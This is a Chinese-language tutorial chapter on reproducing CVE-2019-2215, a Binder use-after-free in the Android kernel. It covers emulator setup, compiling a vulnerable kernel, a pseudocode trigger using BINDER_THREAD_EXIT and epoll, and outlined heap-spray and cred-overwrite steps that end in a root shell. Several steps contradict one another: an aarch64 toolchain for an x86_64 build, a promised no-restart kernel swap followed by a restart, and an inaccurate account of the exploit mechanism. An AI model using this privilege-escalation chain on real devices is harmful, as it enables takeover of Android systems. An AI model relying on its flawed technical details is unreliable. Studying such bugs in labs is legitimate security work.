29、Binder漏洞实战演练:搭建漏洞复现环境、编译自定义内核、触发漏洞与获取Root权限

好,到了这一讲,咱们终于要动手了。

前面聊了那么多Binder的架构、漏洞原理、利用手法,说实话,光看理论容易犯困。我个人习惯是,学安全一定要亲手把漏洞打一遍,不然你永远不知道那些细节到底卡在哪里。

这一章,我们就来一次完整的实战。从零搭建一个可以复现Binder漏洞的环境,编译一个带漏洞的自定义内核,然后触发漏洞,最后拿到Root权限。整个过程我会尽量还原我在真实项目中的操作流程,包括那些踩过的坑。

29.1 环境准备:你需要什么?

先说说硬件和软件。你不需要一台真机,用模拟器就行。但注意,不是随便一个模拟器都能用。

组件 推荐版本 备注
宿主机OS Ubuntu 20.04 / 22.04 我习惯用22.04,编译内核更稳
Android模拟器 Android 9 (API 28) x86_64 内核版本4.9,Binder漏洞高发区
内核源码 goldfish 4.9 模拟器专用内核分支
交叉编译工具链 aarch64-linux-android-4.9 Google官方预编译版
漏洞靶标 CVE-2019-2215 Binder UAF漏洞,经典案例

嗯,这里要注意。CVE-2019-2215是一个Binder驱动的use-after-free漏洞,影响Android 8.0到9.0的内核。我选它是因为利用链清晰,而且网上有现成的PoC,适合教学。

29.2 搭建漏洞复现环境

第一步,创建模拟器。我个人建议用命令行创建,不要用Android Studio的图形界面,因为我们需要指定内核镜像。

# 创建AVD
avdmanager create avd -n binder_vuln -k "system-images;android-28;google_apis;x86_64"

# 启动模拟器,先不指定内核
emulator -avd binder_vuln -no-window -no-audio &

等模拟器启动后,我们看看它默认的内核版本:

adb shell uname -a
# 输出类似:Linux localhost 4.9.148-g984b1c8...

好,现在我们要替换这个内核。为什么?因为默认内核已经打了补丁,漏洞被修了。我们需要编译一个带漏洞的内核。

注意: 模拟器启动后,先不要关闭。后面我们编译完内核,直接热替换就行,不用重启模拟器。这个技巧我在项目里用过很多次,能省不少时间。

29.3 编译自定义内核(带漏洞版本)

下载goldfish内核源码,切到4.9分支:

git clone https://android.googlesource.com/kernel/goldfish
cd goldfish
git checkout origin/android-goldfish-4.9

然后,我们需要找到Binder驱动的源码文件。在 drivers/android/binder.c 里。CVE-2019-2215的漏洞点位于 binder_thread_release 函数中,具体是 binder_free_thread 调用后,没有把指针置空,导致后续还能通过 epoll 回调访问已释放的内存。

我当年第一次看这个漏洞时,也觉得奇怪——为什么这么明显的UAF能活到发布?后来想想,Binder的代码太复杂了,review的人可能漏掉了这个竞态条件。

编译内核前,先配置:

# 使用模拟器的默认配置
make ARCH=x86_64 x86_64_emu_defconfig

# 手动确认Binder相关选项已开启
grep BINDER .config
# 应该看到 CONFIG_ANDROID_BINDER_IPC=y

然后编译:

make ARCH=x86_64 CROSS_COMPILE= -j8

编译完成后,会生成 arch/x86_64/boot/bzImage。这就是我们要替换的内核镜像。

小技巧: 如果你不想从头编译,可以直接用我提供的预编译镜像。但说实话,我建议你自己编译一遍,因为过程中你会遇到各种依赖问题,解决这些问题本身就是一种学习。

29.4 替换内核并验证

把编译好的内核推送到模拟器:

# 停止模拟器
adb root
adb remount

# 替换内核
adb push bzImage /data/local/tmp/

# 重启模拟器,指定新内核
emulator -avd binder_vuln -kernel /path/to/bzImage -no-window -no-audio &

等模拟器重启后,再次检查内核版本:

adb shell uname -a
# 应该看到你编译的时间戳

嗯,这里有个坑。有时候替换内核后模拟器起不来,多半是内核配置和模拟器硬件不匹配。我曾经卡在这个问题上整整一天,后来发现是忘了开启 CONFIG_ANDROID_BINDER_IPC 的某些依赖项。

29.5 触发漏洞:从PoC到Root

现在环境准备好了,我们来触发漏洞。CVE-2019-2215的利用思路是:通过Binder的 BINDER_THREAD_EXIT 命令释放线程结构体,然后通过 epollEPOLL_CTL_DEL 操作在释放后访问它,造成UAF。

PoC代码的核心逻辑如下:

// 伪代码,展示关键步骤
int fd = open("/dev/binder", O_RDWR);
int epfd = epoll_create(1);

// 1. 注册epoll事件
struct epoll_event ev = {.events = EPOLLIN, .data.fd = fd};
epoll_ctl(epfd, EPOLL_CTL_ADD, fd, &ev);

// 2. 触发BINDER_THREAD_EXIT
ioctl(fd, BINDER_THREAD_EXIT, NULL);

// 3. 此时binder_thread已被释放,但epoll还在监听
// 4. 通过epoll_wait触发对已释放内存的访问
struct epoll_event events[1];
epoll_wait(epfd, events, 1, -1);

你想想看,这个漏洞的精妙之处在于:BINDER_THREAD_EXIT 释放了 binder_thread,但 epoll 的回调函数 binder_poll 还在引用这个结构体。如果我们在释放后迅速分配一块同样大小的内存(比如通过 sendmsg 系统调用),就能控制已释放的 binder_thread 结构体,进而劫持内核执行流。

完整的利用链需要做堆喷、绕过KASLR、提权。这里我给出一个简化的步骤:

  1. 堆喷:通过 sendmsg 分配大量与 binder_thread 大小相同的内存块,覆盖UAF区域。
  2. 控制结构体:在 binder_threadproc 指针处写入我们伪造的地址。
  3. 触发回调:通过 epoll_wait 触发 binder_poll,它会解引用我们控制的 proc 指针。
  4. 提权:在伪造的 proc 结构体中,修改 cred 指针,将当前进程的UID改为0。
核心要点: 整个利用过程的关键是堆喷的时机和内存布局的控制。我建议你在调试时打开 CONFIG_SLUB_DEBUG,这样能更清楚地看到内存分配情况。

29.6 获取Root权限

如果一切顺利,执行PoC后,你会看到:

# 在模拟器中运行PoC
adb shell /data/local/tmp/poc

# 如果成功,你会获得root shell
# id
uid=0(root) gid=0(root) groups=0(root)

嗯,说实话,第一次成功时我还是挺兴奋的。虽然这个漏洞已经公开好几年了,但亲手把它跑通,那种感觉不一样。

不过我也要提醒你,实战中可能会遇到各种问题。比如堆喷失败、KASLR绕过不成功、内核崩溃重启等等。我曾经在调试一个类似的Binder漏洞时,连续崩溃了20多次模拟器,最后发现是堆喷的大小算错了——少了一个字节的对齐。

警告: 不要在生产设备上尝试这些操作。模拟器崩溃了可以重启,真机变砖了就只能送修了。我见过有人把主力机刷成砖,最后花了300块找人救砖。

29.7 知识体系总结

这一章的内容比较多,我画了一张图帮你梳理整个流程:

Binder漏洞实战演练流程 环境搭建 模拟器 + 内核源码 编译内核 带漏洞版本 替换内核 热替换验证 触发漏洞(CVE-2019-2215) 堆喷 控制结构体 触发回调 提权 获取Root权限

这张图把整个实战流程分成了五个阶段。从环境搭建到最终提权,每一步都有对应的技术细节。我个人建议你按照这个顺序来操作,不要跳步。尤其是编译内核那一步,很多人图省事直接用预编译镜像,结果后面出问题了都不知道怎么排查。

好了,这一章的内容就到这里。动手试试吧,遇到问题很正常,多调试几次就熟了。

公众号:蓝海资料掘金营,微信deep3321